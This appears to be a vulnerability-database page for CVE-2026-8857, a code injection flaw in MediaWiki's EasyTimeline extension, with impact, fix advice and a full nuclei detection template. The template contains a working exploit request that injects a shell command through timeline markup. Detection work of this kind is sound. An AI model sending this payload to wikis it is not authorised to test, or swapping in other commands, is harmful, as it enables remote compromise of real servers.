HexBrain

Browse / CVEs / CVE-2026-8857

CVE-2026-8857· mediawiki / easytimeline· CWE-94

MediaWiki EasyTimeline - Code Injection RCE

highseverity
8.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

MediaWiki EasyTimeline (Timeline) extension versions before 1.46.0, 1.45.4, 1.44.6, and 1.43.9 contain a code injection vulnerability caused by insufficient neutralization of newlines in TextData text attributes in EasyTimeline.pl / Timeline.php. A crafted <timeline> block can inject ploticus '#proc getdata' and 'command:' directives, which execute via /bin/sh because EasyTimeline invokes ploticus without the -noshell flag. Exploitation requires the ability to submit timeline markup for rendering — low-privileged edit access, or anonymous access on wikis that allow anonymous editing and API use. This template's parse-based check needs API read access; optional username/password inputs can be supplied for private wikis that deny anonymous read.

Impact

Attackers who can submit timeline markup can execute arbitrary OS commands in the context of the EasyTimeline/ploticus process, potentially leading to full host compromise where Timeline is not isolated (for example outside a remote shellbox).

Fix

Upgrade the Timeline / EasyTimeline extension to 1.46.0, 1.45.4, 1.44.6, or 1.43.9 (or later). If an upgrade is not immediately possible, disable the EasyTimeline extension, especially when it is not executed in an isolated shellbox.

How to confirm it

Send: GET /api.php?action=query&meta=tokens&type=login&format=json ; POST /api.php
Positive when: contains "\"result\":\"Success\""
Send: GET /api.php?action=query&meta=siteinfo&siprop=extensions|general&format=json
Positive when: contains(body, "\"generator\":\"MediaWiki") or contains(body, "\"name\":\"EasyTimeline\"")
Send: POST /api.php
Positive when: contains "timeline-error" AND matches /uid=\d+\([^)]+\)/

Run it with nuclei: nuclei -id CVE-2026-8857 -u <target>

The full check
id: CVE-2026-8857

info:
  name: MediaWiki EasyTimeline - Code Injection RCE
  author: pdteam
  severity: high
  description: |
    MediaWiki EasyTimeline (Timeline) extension versions before 1.46.0, 1.45.4, 1.44.6, and 1.43.9 contain a code injection vulnerability caused by insufficient neutralization of newlines in TextData text attributes in EasyTimeline.pl / Timeline.php. A crafted <timeline> block can inject ploticus '#proc getdata' and 'command:' directives, which execute via /bin/sh because EasyTimeline invokes ploticus without the -noshell flag. Exploitation requires the ability to submit timeline markup for rendering — low-privileged edit access, or anonymous access on wikis that allow anonymous editing and API use. This template's parse-based check needs API read access; optional username/password inputs can be supplied for private wikis that deny anonymous read.
  impact: |
    Attackers who can submit timeline markup can execute arbitrary OS commands in the context of the EasyTimeline/ploticus process, potentially leading to full host compromise where Timeline is not isolated (for example outside a remote shellbox).
  remediation: |
    Upgrade the Timeline / EasyTimeline extension to 1.46.0, 1.45.4, 1.44.6, or 1.43.9 (or later). If an upgrade is not immediately possible, disable the EasyTimeline extension, especially when it is not executed in an isolated shellbox.
  reference:
    - https://phabricator.wikimedia.org/T426631
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8857
    - https://github.com/advisories/GHSA-q6xp-j96f-7vmp
    - https://www.mail-archive.com/[email protected]/msg97434.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-8857
    cwe-id: CWE-94
    epss-score: 0.02098
    epss-percentile: 0.81842
  metadata:
    verified: true
    max-request: 4
    vendor: mediawiki
    product: easytimeline
    shodan-query: http.component:"MediaWiki"
    fofa-query: app="MediaWiki"
  tags: cve,cve2026,mediawiki,easytimeline,timeline,rce,intrusive,authenticated,vuln,vkev

flow: |
  if (template["username"] && template["password"]) {
    http("login") && http("detect") && http("exploit")
  } else {
    http("detect") && http("exploit")
  }

http:
  - id: login
    raw:
      - |
        GET /api.php?action=query&meta=tokens&type=login&format=json HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=login&format=json&lgname={{username}}&lgpassword={{password}}&lgtoken={{url_encode(logintoken)}}

    extractors:
      - type: json
        name: logintoken
        part: body
        internal: true
        json:
          - '.query.tokens.logintoken'

    matchers:
      - type: word
        part: body
        words:
          - '"result":"Success"'
        internal: true

  - id: detect
    raw:
      - |
        GET /api.php?action=query&meta=siteinfo&siprop=extensions|general&format=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"generator\":\"MediaWiki")'
          - 'contains(body, "\"name\":\"EasyTimeline\"")'
        internal: true

  - id: exploit
    raw:
      - |
        POST /api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=parse&format=json&contentmodel=wikitext&text=%3Ctimeline%3E%0ADateFormat%3Dyyyy%0AImageSize%3Dwidth%3A200+height%3A100%0APeriod%3Dfrom%3A2000+till%3A2010%0APlotArea%3Dwidth%3A150+height%3A50+left%3A30+bottom%3A30%0ATimeAxis%3Dorientation%3Ahorizontal%0ATextData%3D%0A++pos%3A%2840%2C40%29+fontsize%3AS+text%3A%22x%5Cn%23proc+getdata%5Cncommand%3A+id+%3E+file.err%5Cn{{rand_text_alphanumeric(12)}}%22%0A%3C%2Ftimeline%3E

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'timeline-error'
      - type: regex
        part: body
        regex:
          - 'uid=\d+\([^)]+\)'

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '(uid=\d+\([^)]+\)(?:\s+gid=\d+\([^)]+\))?(?:\s+groups=[^<"\\]+)?)'

References

Use this check only on systems you are authorised to test. Where the data comes from